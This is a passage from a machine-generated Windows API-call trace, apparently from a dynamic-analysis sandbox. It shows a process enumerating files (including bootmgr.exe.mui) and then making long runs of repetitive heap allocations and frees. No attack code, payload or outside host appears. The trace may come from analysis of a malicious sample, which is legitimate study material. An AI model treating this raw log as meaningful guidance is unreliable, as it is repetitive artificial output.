hHeap=0x5c0000) returned 1 [0124.650] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.650] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.650] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.650] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.651] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.651] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.651] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.651] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.651] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.651] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.651] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.651] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.651] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.651] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.651] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.651] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.651] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.651] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.651] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.651] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.651] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.651] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.652] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.652] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.652] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.652] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.652] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.652] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.652] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.652] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.652] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.652] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.652] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.652] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.652] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.652] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.652] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.652] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.652] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.652] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.653] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.653] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.653] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.653] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.653] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.653] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.653] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.653] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.653] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.653] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.653] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.653] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.653] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.653] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.653] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.653] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.653] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.653] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.653] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.653] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.653] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.653] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.653] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.653] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.653] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.653] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.653] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.653] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.653] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.653] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.653] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.653] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.653] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.653] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.654] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.654] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.654] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.654] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.654] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.654] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.654] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.654] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.654] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.654] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.654] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.654] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.654] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.654] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.654] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.654] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.654] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.654] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.654] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.654] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.654] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.654] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.654] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.654] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.654] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.654] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.654] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.654] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.654] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.654] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.654] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.654] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.654] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.655] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.655] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.655] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.655] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.655] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.655] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.655] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.655] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.655] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.655] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.655] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.655] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.655] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.655] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.655] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.655] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.655] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.655] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.655] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.655] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.655] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.655] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.655] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.655] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.655] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.655] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.655] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.655] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.655] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.655] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.655] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.655] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.655] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.655] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.656] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.656] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.656] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.656] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.656] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.656] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.656] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.656] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.656] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.656] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.656] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.656] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.656] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.656] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.656] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.656] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.656] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.656] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.657] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.657] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.657] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.657] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.657] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.657] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.657] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.657] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.657] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.657] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.657] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.657] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.657] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.657] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.657] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.657] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.658] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.658] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.658] HeapFree (in: 